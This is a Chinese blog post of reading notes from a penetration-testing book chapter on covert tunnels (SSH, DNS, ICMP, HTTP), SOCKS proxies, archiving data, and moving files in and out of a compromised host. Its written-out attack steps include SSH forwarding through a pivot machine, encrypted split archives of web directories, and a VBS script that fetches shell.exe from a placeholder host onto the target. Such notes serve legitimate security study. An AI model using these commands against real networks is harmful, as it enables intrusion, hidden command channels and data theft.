《内网安全攻防:渗透测试实战指南》读书笔记(三):隐藏通信隧道技术
目录
- 前言
- 一、基础知识
- 1、概述
- 2、判断内网的连通性
- 二、网络层隧道技术
- 1、IPv6隧道
- 2、ICMP隧道
- 三、传输层隧道技术
- 四、应用层隧道技术
- 1、SSH隧道
- 2、HTTP/HTTPS隧道
- 3、DNS隧道
- 五、SOCKS代理
- 六、压缩数据
- 1、rar.exe
- 2、7-zip
- 七、上传和下载
- 1、VBS
- 2、Debug上传
- 3、其他
- 结语
前言
本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说
相关知识之前也有过学习整理,参见:内网渗透系列:内网穿透(隧道)学习
一、基础知识
1、概述
网络隐藏通信隧道是与目标主机进行信息传输的主要工具
在大量TCP、UDP通信被防御系统拦截的情况下,DNS、ICMP等难以禁用的协议已经被攻击者利用,成为攻击者控制隧道的主要通道
常用隧道:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
2、判断内网的连通性
判断方法如下:
//ICMP协议
ping www.baidu.com//TCP协议
nc -zv 192.168.1.10 80//HTTP协议
curl www.baidu.com:80
//curl的代理模式
curl -x proxy-ip:port www.baidu.com//DNS协议
//windows下的nslookup
mslookup www.baidu.com vps-ip
//linux下的dig
dig @vps-ip www.baidu.com
二、网络层隧道技术
1、IPv6隧道
IPv6隧道可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中
几种工具:
- socat
- 6tunnel
- nt6tunnel
2、ICMP隧道
在一般的通信协议中,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要
可参见:内网渗透系列:内网隧道之ICMP隧道
三、传输层隧道技术
主要是TCP隧道、UDP隧道和常规端口转发,大部分都会被拦截
工具可以参见:内网渗透系列:内网穿透(隧道)学习
四、应用层隧道技术
1、SSH隧道
几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用
//本地转发
ssh -CfNg -L 1153(VPS端口):1.1.1.10(目标IP):3389(目标端口)
root@192.168.1.11(跳板机)//远程转发
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标IP):3389(目标端口)
root@192.168.1.4
-L本地端口转发,-R远程端口转发,-D动态转发(SOCKS代理)**
防御:
- IP白名单
- ACL限制请求IP
- 设置系统完全使用带外管理
2、HTTP/HTTPS隧道
reGeorg、meterpreter、tunna等,都很有名
3、DNS隧道
DNS是一个必不可少的服务,DNS报文本身具有穿透防火墙的能力。
从DNS协议的角度看,只是在一次次的查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实返回的是任意字符串,包括加密的C2指令。
DNS隧道本质是将其他协议封装在DNS协议中进行传输。
参见:内网渗透系列:内网隧道之DNS隧道
五、SOCKS代理
SOCKS是"SOCKetS"的缩写
- SOCKS4只支持TCP协议
- SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制
SOCKS代理更底层,是在会话层;而HTTP代理是在应用层。因此SOCKS代理可以代理一切客户端的连接,而HTTP代理只能代理使用HTTP协议的客户端。由于更底层,不需要处理高级协议的细节,所以SOCKS代理更快。
SOCKET被称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同计算机之间的通信,它的本质是编程接口(API),是对TCP/IP的封装。SOCKS是一个代理协议,目前最新版本为SOCKS5,所谓代理就是,你可以通过它的去间接的访问网络,相当于一个中转站。区别:SOCKET是一个API,一个工具,让你建立网络连接用的。SOCKS是协议,是一组数据结构。
目前VPN隧道协议主要有4种:点到点隧道协议PPTP、第二层隧道协议L2TP、网络层隧道协议IPSec以及SOCKS v5协议。其中,PPTP和L2TP工作在数据链路层,IPSec工作在网络层,SOCKS v5工作在会话层。
e.g. EarthWorm(ew、新版本Termite)、reGeorg、sSocks、SocksCap64(SSTap)、Proxifier、ProxyChains
六、压缩数据
1、rar.exe
将E:\webs\目录下的所有内容打包为1.rar放入E:\webs\目录下
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\
将E:\webs\1.rar解压到当前根目录下
rar.exe e E:\webs\1.rar
分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M
rar.exe a -m0 -r -v20m E:\test.rar E:\API
将E:\test.part01.rar解压到E盘的x1目录下
rar.exe x E:\test.part01.rar E:\x1
2、7-zip
将E:\webs\目录下的所有内容打包为1.7z放入E:\webs\目录下
7z.exe a -k -r -p12345 E:\webs\1.7z E:\webs\
将E:\webs\1.7z解压到当前根目录下
7z.exe e -p12345 E:\webs\1.7z
分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M
7z.exe -r -vlm -padmin a E:\test.7z E:\API
将E:\test.part01.7z解压到E盘的x1目录下
7z.exe x -padmin E:\test.7z.001 -oE:\x1
七、上传和下载
1、VBS
执行下面命令即可在目标主机上下载shell.exe文件
Cscript download.vbs
download.vbs代码:
Set Post=CreateObject("Msxml2.XMLHTTP")
Set shell = CreateObject("Wscript.Shell")
post.Open "GET","http://IP/shell.exe",0
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(post.responseBody)
aGet.SaveToFile "C:\test\shell.exe",2
2、Debug上传
先将需要上传的EXE文件转换为十六进制HEX的形式,再通过echo命令将HEX代码写人文件,最后利用Debug功能将HEX代码编译并还原成EXE文件
在KaliLlnux中,exe2bat.exe工具位于/usr/share/windows-binaries目录,执行
wine exe2bat.exe ew.exe ew.txt
将ew.exe转换为ew.txt
然后,利用目标服务器的Debug功能将HEX代码还原为EXE文件
再使用echo命令将ew.txt里面的代码复制到目标系统的命令行环境中
3、其他
还可以用以下这些上传文件:
- Nishang:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载文本文件并将其转换为EXE文件
- bitsadmm:推荐在Windows7和Windows8主机上使用,注意它不支持HTTPS和FTP协议,也不支持WindowsXP/Sever2003及以前的版本
- PowerShell下载
结语
本章主要是隐匿通信隧道,由于这部分知识之前有过学习,故此处就不详细记录了,具体可见博客其他相关文章
《内网安全攻防:渗透测试实战指南》读书笔记(三):隐藏通信隧道技术相关推荐
- Web安全攻防 渗透测试实战指南2
1. 指纹识别 指纹由于其终身不变性.唯一性和方便性,几乎已成为生物特征识别的代名词.通常我们说的指纹就是人的手指末端正面皮肤上凹凸不平的纹线,纹线规律的排列形成不同的纹型.而本节所讲的指纹是指网站C ...
- 《Web安全攻防 渗透测试实战指南》学习笔记(2) - Sqlmap
如有侵权,请联系删除 Linux下安装 sudo apt install sqlmap 基本使用 sqlmap -u "www.baidu.com" 注意给网址加上双引号(虽然只传 ...
- 内部视频放送 |《Python安全攻防:渗透测试实战指南》知识星球
如果你立志成为一名合格的安全从业者,想突破"脚本小子"的瓶颈,成为真正的黑客,想拥有自己打造出来的属于自己的神兵利器!<Python安全攻防:渗透测试实战指南>马上就要 ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(八):权限维持分析及防御
目录 前言 一.操作系统后门 1.粘滞键后门 2.注册表注入后门 3.计划任务后门 4.meterpreter后门 5.Cymothoa后门 6.WMI后门 二.WEB后门 1.Nishang下的We ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(二):内网信息收集
目录 前言 一.收集本机信息 1.手动搜集 (1)查询网络配置 (2)查询操作系统及软件的信息 (3)查询本机服务信息 (4)查询进程列表 (5)查看启动程序信息 (6)查看计划任务 (7)查看主机开 ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(四):权限提升分析及防御
目录 前言 一.系统内核溢出漏洞提权分析及防范 1.通过手动执行命令发现缺失补丁 (1)MS16-032(KB3139914) 2.利用MSF发现缺失补丁 3.Windows Exploit Sugg ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础
目录 前言 一.内网基础知识 1.工作组 2.域 3.活动目录 (1)活动目录的功能 (2)DC和AD区别 4.安全域的划分 (1)DMZ (2)内网 5.域中计算机的分类 6.域内权限 (1)组 ( ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(七):跨域攻击分析及防御
目录 前言 一.跨域攻击方法 二.利用域信任关系的跨域攻击 1.域信任简介 2.获取域信息 3.利用域信任秘钥(NTLM Hash)获取目标域的权限 4.利用krbtgt散列值获取目标域的权限 5.利 ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(六):域控制器安全
目录 前言 一.使用卷影拷贝服务提取ntds.dit 1.ntdsutil.exe 2.vssadmin 3.vssown.vbs 4.ntdsutil的IFM 5.diskshadow 6.防范 二 ...
- 《内网安全攻防:渗透测试实战指南》读书笔记(五):域内横向移动分析及防御
目录 前言 一.常用Windows远程连接和命令 1.IPC (1)利用条件 (2)连接失败的原因 2.Windows自带工具 (1)dir (2)tasklist 3.计划任务 (1)at (2)s ...
最新文章
- Office 365强势来袭PART1:云中Outlook体验
- ITK:在灰度图像中标记连接的组件
- 【MongoDB】Sharding分片概念及原理
- C语言——顺序栈(Stack)
- 一)golang的单例模式
- 搭建java web框架_基于springboot搭建的web系统架构的方法步骤
- pythonATM,购物车项目实战5-数据处理层
- 你我贷CTO冯炯:互联网金融的P2P+O2O怎么做?
- tp交换机管理页面_TP-LINK交换机设置细节
- 飞凌单片机解密_IC芯片解密方法与原理解析
- itellyou操作系统,office等软件的很全的下载站
- 计算机专业是不是天坑专业,工科中的三大“天坑”专业,就业前景不太乐观,入坑需谨慎!...
- 手机恢复出厂设置难防泄密:微信聊天记录可恢复
- Lineage OS15.1 for sagit 编译
- SAP MM 根据采购订单反查采购申请?
- 零线和地线接反了会发生什么?
- 设计数据密集型应用——分布式系统的麻烦(8)
- [javaws]jnlp介绍及使用
- 无比强大 检查、恢复Windows还有奇招
- 动态ip代理秘籍:隐藏ip的方法要得跟***学